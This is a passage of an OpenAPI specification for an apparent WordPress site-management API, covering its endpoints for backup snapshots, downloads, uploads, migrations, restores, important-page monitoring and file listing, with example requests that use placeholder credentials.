"#/components/schemas/ListSiteSnapshotsSort" }, "description": "Sort order for returned snapshots.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSnapshotFilters" }, "description": "Filters applied to returned snapshots.", "example": { "created_at:gte": "2026-01-01T00:00:00Z", "status:eq": "succeeded", "scanner_status:eq": "clean", "note:present": true } } ], "responses": { "200": { "description": "Snapshots were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSnapshotsResponse" }, "example": { "snapshots": [ { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T09:06:43Z", "status": "succeeded", "note": "Before plugin update", "error_message": null, "backups": { "enabled": true, "real_time": false, "files": { "count": { "total": 12, "synced": 10, "ignored": 2 }, "size": { "total": 1200, "synced": 1000, "ignored": 200 } }, "database": { "count": { "total": 6, "synced": 5, "ignored": 1 }, "size": { "total": 200, "synced": 200, "ignored": 0 } } }, "security": { "enabled": true, "scanner": { "status": "clean", "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } } }, "performance": { "enabled": true } }, { "id": "72b9a5d4c8e1f3a6b0d2c7e9", "created_at": "2026-01-08T09:06:43Z", "status": "failed", "note": null, "error_message": "Snapshot failed.", "backups": { "enabled": true, "real_time": true, "files": { "count": { "total": 4, "synced": 4, "ignored": 0 }, "size": { "total": 400, "synced": 400, "ignored": 0 } }, "database": { "count": { "total": 2, "synced": 2, "ignored": 0 }, "size": { "total": 0, "synced": 0, "ignored": 0 } } }, "security": { "enabled": true, "scanner": { "status": "hacked", "detections": { "files": 1, "scripts": 0, "cron_jobs": 0 } } }, "performance": { "enabled": true } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListSiteSnapshotsBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSnapshotsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/snapshots/{snapshot_id}": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "snapshot_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Snapshot ID returned in the snapshot list." } ], "get": { "tags": [ "Snapshots" ], "summary": "Show site snapshot", "operationId": "showSiteSnapshot", "description": "Returns detailed backup, security, and performance information for one\nsnapshot on the selected site.\n\nUse this after listing snapshots to inspect one snapshot's backup\ntotals, security scan details, detected issues, and performance metrics.\n\nThe selected site must support Backups and have backups enabled.\n\nPerformance metric values are `null` when performance monitoring was not\nenabled or no metric was captured.\n\nA successful response returns the snapshot details.\n", "responses": { "200": { "description": "Snapshot details were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSnapshotResponse" }, "example": { "snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T09:06:43Z", "status": "succeeded", "note": "Before plugin update", "error_message": null, "backups": { "enabled": true, "real_time": false, "files": { "count": { "total": 12, "synced": 10, "ignored": 2 }, "size": { "total": 1200, "synced": 1000, "ignored": 200 } }, "database": { "count": { "total": 6, "synced": 5, "ignored": 1 }, "size": { "total": 200, "synced": 200, "ignored": 0 } } }, "security": { "enabled": true, "scanner": { "status": "clean", "files": { "total": 12, "scanned": 10 }, "database": { "total": 6, "scanned": 5 }, "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } } }, "performance": { "enabled": true, "score": 85, "load_time": 1.2, "page_size": 512000, "total_requests": 42 } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/ShowSiteSnapshotNotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSnapshotsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/backups/{snapshot_id}/download": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "snapshot_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Snapshot ID returned in site snapshot lists and details." } ], "post": { "tags": [ "Backup Download" ], "summary": "Start backup download", "operationId": "startSiteBackupDownload", "description": "Starts a background task that packages files, database tables, or selected\nparts of a completed snapshot for download.\n\nUse this after choosing a snapshot when you need a downloadable backup\npackage for that site.\n\nThe request body uses the `download` wrapper. Send `paths` only when\n`download.scope.include_files` is `true`, and send `tables` only when\n`download.scope.include_database` is `true`.\n\nWhen real-time events are enabled,\n`download.options.real_time_events.until` is required and must be an\ntimestamp in ISO 8601 format.\n\nA successful response returns the task created for the backup download.\nUse the returned task ID with Tasks to check status.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupDownloadRequest" }, "example": { "download": { "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "options": { "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } } } }, "responses": { "201": { "description": "Backup download started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupDownloadResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SiteBackupDownloadInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/SiteBackupDownloadNotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteBackupDownloadConflictResponse" }, "422": { "$ref": "#/components/responses/SiteBackupDownloadBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/backups/{snapshot_id}/upload": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "snapshot_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Snapshot ID returned in site snapshot lists and details." } ], "post": { "tags": [ "Backup Upload" ], "summary": "Start backup upload", "operationId": "startSiteBackupUpload", "description": "Starts a background task that uploads files, database tables, or selected\nparts of a completed snapshot to a connected backup destination.\n\nUse this after choosing a snapshot when selected backup content should be\ncopied to Dropbox or Google Drive.\n\nThe request body uses the `upload` wrapper. Send\n`upload.destination.provider` as `dropbox` without a destination ID.\nSend `upload.destination.provider` as `google_drive` with\n`upload.destination.id` set to the connected Google Drive backup\ndestination ID.\n\nSend `paths` only when `upload.scope.include_files` is `true`, and send\n`tables` only when `upload.scope.include_database` is `true`.\n\nWhen real-time events are enabled,\n`upload.options.real_time_events.until` is required and must be an\ntimestamp in ISO 8601 format.\n\nA successful response returns the task created for the backup upload.\nUse the returned task ID with Tasks to check status.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupUploadRequest" }, "examples": { "dropbox": { "summary": "Upload a snapshot to Dropbox", "value": { "upload": { "destination": { "provider": "dropbox" }, "scope": { "include_files": true, "include_database": true } } } }, "google_drive_selected_content": { "summary": "Upload selected files and tables to Google Drive", "value": { "upload": { "destination": { "provider": "google_drive", "id": "bkd_8fd93a2c91e44d19" }, "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "options": { "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } } } } } }, "responses": { "201": { "description": "Backup upload started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupUploadResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SiteBackupUploadInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/SiteBackupUploadNotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteBackupUploadConflictResponse" }, "422": { "$ref": "#/components/responses/SiteBackupUploadBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/backups/{snapshot_id}/migrate": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "snapshot_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Snapshot ID returned in site snapshot lists and details." } ], "post": { "tags": [ "Backup Migration" ], "summary": "Start backup migration", "operationId": "startSiteBackupMigration", "description": "Starts a background task that migrates files, database tables, or selected\nparts of a completed snapshot to an internal or external destination.\n\nUse this after choosing a snapshot when selected backup content should be\nmoved to another WordPress installation.\n\nThe request body uses the `migration` wrapper. Send `migration.type` as\n`internal` to migrate to another site available to you in the same\naccount. Send `migration.type` as `external` to migrate to an external\ndestination with server and database credentials.\n\nSend `paths` only when `migration.scope.include_files` is `true`, and\nsend `tables` only when `migration.scope.include_database` is `true`.\nInternal migrations may omit `migration.connection` or use HTTP with\noptional HTTP Basic Auth credentials. External migrations require\n`migration.connection.method` set to `ftp`, server credentials, and\ndatabase credentials.\n\nWhen real-time events are enabled,\n`migration.options.real_time_events.until` is required and must be an\ntimestamp in ISO 8601 format.\n\nA successful response returns the task created for the backup migration.\nUse the returned task ID with Tasks to check status.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupMigrationRequest" }, "examples": { "internal_http": { "summary": "Migrate a snapshot to another site over HTTP", "value": { "migration": { "destination_url": "https://destination.example.com", "type": "internal", "scope": { "include_files": true, "include_database": true }, "connection": { "method": "http", "credentials": { "http_auth": { "username": "site_user", "password": "site_password" } } }, "options": { "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } }, "external_ftp": { "summary": "Migrate a snapshot to an external FTP destination", "value": { "migration": { "destination_url": "https://destination.example.com", "type": "external", "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "ftp", "host": "ftp.example.com", "username": "deploy", "password": "server_password", "path": "/public_html", "port": 21 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" } } } } } }, "external_sftp": { "summary": "Migrate a snapshot to an external SFTP destination", "value": { "migration": { "destination_url": "https://destination.example.com", "type": "external", "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "sftp", "host": "sftp.example.com", "username": "deploy", "private_key": "example-private-key", "path": "/public_html", "port": 22 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" }, "http_auth": { "username": "site_user", "password": "site_password" } } }, "options": { "retain_latest_posts": true, "preserve_permissions": true, "server": { "ip": "203.0.113.10", "name_server": "ns1.example.com" }, "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } }, "external_ftps": { "summary": "Migrate a snapshot to an external FTPS destination", "value": { "migration": { "destination_url": "https://destination.example.com", "type": "external", "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "ftps", "host": "ftps.example.com", "username": "deploy", "password": "server_password", "path": "/public_html", "port": 990 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" } } } } } } } } } }, "responses": { "201": { "description": "Backup migration started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupMigrationResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SiteBackupMigrationInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/SiteBackupMigrationNotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteBackupMigrationConflictResponse" }, "422": { "$ref": "#/components/responses/SiteBackupMigrationBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/backups/{snapshot_id}/restore": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "snapshot_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Snapshot ID returned in site snapshot lists and details." } ], "post": { "tags": [ "Backup Restore" ], "summary": "Start backup restore", "operationId": "startSiteBackupRestore", "description": "Starts a background task that restores files, database tables, selected\npaths or tables, or selected WordPress multisite subsites from a\ncompleted snapshot back to the site.\n\nUse this after choosing a snapshot when the source site needs to recover\nall or selected backup content.\n\nThe request body uses the `restore` wrapper. At least one of\n`restore.scope.include_files` or `restore.scope.include_database` must\nbe `true`. Send `paths` only when `restore.scope.include_files` is\n`true`, and send `tables` only when\n`restore.scope.include_database` is `true`.\n\n`restore.scope.subsite_ids` is accepted only for multisite sites. When\nsent, subsite IDs are expanded to matching paths and tables before the\nrestore starts. Explicit `paths` or `tables` override generated subsite\nselections for that content type.\n\nOmit `restore.connection` to use same-site HTTP restore. HTTP restores\naccept only optional HTTP Basic Auth credentials. FTP restores require\nserver and database credentials.\n\nWhen real-time events are enabled,\n`restore.options.real_time_events.until` is required and must be an\ntimestamp in ISO 8601 format.\n\nA successful response returns the task created for the backup restore.\nUse the returned task ID with Tasks to check status.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupRestoreRequest" }, "examples": { "full_restore": { "summary": "Restore all files and database tables", "value": { "restore": { "scope": { "include_files": true, "include_database": true } } } }, "selective_restore": { "summary": "Restore selected files and tables", "value": { "restore": { "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] } } } }, "multisite_subsites": { "summary": "Restore selected multisite subsites", "value": { "restore": { "scope": { "include_files": true, "include_database": true, "subsite_ids": [ "5", "7" ] } } } }, "http_auth": { "summary": "Restore over HTTP with HTTP Basic Auth", "value": { "restore": { "scope": { "include_files": true, "include_database": true }, "connection": { "method": "http", "credentials": { "http_auth": { "username": "site_user", "password": "site_password" } } } } } }, "ftp": { "summary": "Restore over FTP", "value": { "restore": { "scope": { "include_files": true, "include_database": true }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "ftp", "host": "ftp.example.com", "username": "deploy", "password": "server_password", "path": "/public_html", "port": 21 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" } } }, "options": { "retain_latest_posts": true, "preserve_permissions": true } } } }, "sftp": { "summary": "Restore over SFTP", "value": { "restore": { "scope": { "include_files": true, "include_database": true }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "sftp", "host": "sftp.example.com", "username": "deploy", "private_key": "example-private-key", "path": "/public_html", "port": 22 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" } } }, "options": { "retain_latest_posts": true, "preserve_permissions": true, "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } }, "ftps": { "summary": "Restore over FTPS", "value": { "restore": { "scope": { "include_files": true, "include_database": true }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "ftps", "host": "ftps.example.com", "username": "deploy", "password": "server_password", "path": "/public_html", "port": 990 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" } } } } } } } } } }, "responses": { "201": { "description": "Backup restore started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteBackupRestoreResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SiteBackupRestoreInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/SiteBackupRestoreNotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteBackupRestoreConflictResponse" }, "422": { "$ref": "#/components/responses/SiteBackupRestoreBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/backups/enable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Backups Activation" ], "summary": "Enable site backups", "operationId": "enableSiteBackups", "description": "Turns backups on for the selected site and returns the site's backup\nstate after the change.\n\nUse this when the selected site should start creating backup snapshots.\nNo request body is required.\n\nThe site plan must support Backups.\n\nA successful response returns `backups.enabled: true`.\n", "responses": { "200": { "description": "Backups were enabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/EnableSiteBackupsResponse" }, "example": { "backups": { "enabled": true } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/EnableSiteBackupsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/backups/disable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Backups Activation" ], "summary": "Disable site backups", "operationId": "disableSiteBackups", "description": "Turns backups off for the selected site and returns the site's backup\nstate after the change.\n\nUse this when a site should stop creating backup snapshots. No request\nbody is required.\n\nA successful response returns `backups.enabled: false`.\n", "responses": { "200": { "description": "Backups were disabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DisableSiteBackupsResponse" }, "example": { "backups": { "enabled": false } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/DisableSiteBackupsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/important-pages": { "get": { "tags": [ "Important Pages" ], "summary": "List important pages", "operationId": "listSiteImportantPages", "description": "Returns important pages configured for the selected site. Each item\nincludes the page URL and important page ID.\n\nUse this list to review monitored pages or find the important page ID\nfor a page that should be removed.\n\nImportant page monitoring must be available for the selected site. When\nit is not available, the list cannot be returned.\n\nA successful response returns a paginated list of important pages.\n", "parameters": [ { "name": "site_id", "in": "path", "required": true, "description": "Site ID returned in site lists and details.", "schema": { "$ref": "#/components/schemas/SiteId" } }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" } ], "responses": { "200": { "description": "Important pages were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteImportantPagesResponse" }, "example": { "important_pages": [ { "id": "f5b7c1a0d3e9f7b2", "url": "https://example.com/pricing" }, { "id": "9c2d6b4e1a7f0d88", "url": "https://example.com/contact" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "Important page monitoring is unavailable for this site plan.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Important Pages." } ] } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Important Pages" ], "summary": "Create important page", "operationId": "createSiteImportantPage", "description": "Creates a page URL in the selected site's Important Pages list.\n\nUse this to monitor a specific page on the site.\n\nThe URL must use HTTP or HTTPS, belong to the site's domain, and not\nalready be added as an important page. Important Pages must be available\nfor the selected site, and the site must have capacity for another\nmonitored page.\n\nA successful response returns the created important page.\n", "parameters": [ { "name": "site_id", "in": "path", "required": true, "description": "Site ID returned in site lists and details.", "schema": { "$ref": "#/components/schemas/SiteId" } } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteImportantPageRequest" }, "example": { "important_page": { "url": "https://example.com/pricing" } } } } }, "responses": { "201": { "description": "Important page was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteImportantPageResponse" }, "example": { "important_page": { "id": "f5b7c1a0d3e9f7b2", "url": "https://example.com/pricing" } } } } }, "400": { "description": "The `important_page` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "important_page wrapper is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "message": "Can't be blank", "param": "important_page" } ] } } }, "invalid_wrapper": { "summary": "important_page wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "message": "Must be an object.", "param": "important_page" } ] } } }, "blank_url": { "summary": "URL is missing or blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "message": "Can't be blank", "param": "url" } ] } } }, "invalid_url_type": { "summary": "URL is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "message": "Must be a string", "param": "url" } ] } } }, "invalid_url_format": { "summary": "URL format is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "message": "Invalid url format", "param": "url" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The important page could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "already_exists": { "summary": "URL already configured as an important page", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "message": "Page is already added as an important page", "param": "url" } ] } } }, "home_page_already_exists": { "summary": "Home page is already configured as an important page", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "message": "Home page is already added as an important page", "param": "url" } ] } } }, "invalid_domain": { "summary": "URL does not belong to the site's domain", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_domain", "message": "The page should be a part of the website", "param": "url" } ] } } }, "max_quota": { "summary": "Important pages limit reached", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "max_quota", "message": "Limit reached. please contact support to upgrade your plan and add more pages.", "param": "url" } ] } } }, "plan_does_not_support_feature": { "summary": "Plan does not support Important Pages", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "message": "Plan does not support important pages", "param": "base" } ] } } }, "operation_failed": { "summary": "Important page could not be created", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "message": "Important page could not be created.", "param": "base" } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/important-pages/{important_page_id}": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "description": "Site ID returned in site lists and details.", "schema": { "$ref": "#/components/schemas/SiteId" } }, { "name": "important_page_id", "in": "path", "required": true, "description": "Important page ID returned in Important Pages responses.", "schema": { "$ref": "#/components/schemas/ImportantPageId" } } ], "delete": { "tags": [ "Important Pages" ], "summary": "Delete important page", "operationId": "deleteSiteImportantPage", "description": "Removes a page URL from the selected site's important pages.\n\nUse this when that page should no longer be monitored.\n\nSend the `important_page_id` returned as `id` in the list or create\nresponse. If this was the last important page, monitoring is disabled\nfor the site.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteSiteImportantPageNoContentResponse" }, "400": { "description": "The `important_page_id` path parameter is invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_id": { "summary": "important_page_id has invalid format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "message": "Invalid important page id.", "param": "important_page_id" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "description": "The site or important page could not be found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "important_page_not_found": { "summary": "Important page does not exist for this site", "value": { "error": { "status": 404, "code": "not_found", "message": "Important page not found" } } } } } } }, "422": { "description": "Important page monitoring is unavailable, or the important page could not be removed.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Important pages feature not enabled for site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "message": "Your current plan does not support Important Pages.", "param": "feature" } ] } } }, "operation_failed": { "summary": "Important page could not be removed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "message": "Important page could not be removed." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/files": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Files" ], "summary": "List site files", "operationId": "listSiteFiles", "description": "Returns files and folders from one directory path in a completed backup\nsnapshot.\n\nUse this list to browse a backup file tree, find file IDs for version or\ndownload requests, or check which directories are included in future\nbackups.\n\nIf `snapshot_id` is omitted, the latest completed backup snapshot is\nused. If `path` is omitted, the snapshot root (`./`) is listed.\n\nA successful response returns a paginated list of files and folders.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `status`, `modified_at`, `name`, `size`\n- Supported operators:\n - `eq`: `status`\n - `gte`: `modified_at`, `size`\n - `lte`: `modified_at`, `size`\n - `contains`: `name`\n- Supported status values for matching: `synced`, `skipped`\n- `name:contains` matches the file or folder basename and is case-sensitive\n- Use ISO 8601 timestamps for `modified_at` filters\n- `size` filter values must be non-negative integers\n- Example: `filters[name:contains]=index`\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "type": "string" }, "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" }, { "name": "path", "in": "query", "required": false, "schema": { "type": "string" }, "description": "Directory path to list. Defaults to `./`.", "example": "./wp-content/" }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListSiteFilesFilters" }, "description": "Filters applied to returned files and folders.", "example": { "status:eq": "synced", "modified_at:gte": "2026-01-01T00:00:00Z", "name:contains": "index", "size:gte": 100 } } ], "responses": { "200": { "description": "Files and folders were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteFilesResponse" }, "example": { "files": [ { "id": "MTc2Nzk0OTY2NV80MDk2X0xpOTNjQzFqYjI1MFpXNTBMeTg9", "name": "wp-content", "path": "./wp-content/", "type": "folder", "size": 4096, "modified_at": "2026-01-09T09:07:45Z", "status": "synced" }, { "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==", "name": "index.php", "path": "./index.php", "type": "file", "size": 405, "modified_at": "2026-01-09T09:06:43Z", "status": "synced" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListSiteFilesBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/files/versions": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Files" ], "summary": "List file versions", "operationId": "listSiteFileVersions", "description": "Returns available backup versions for 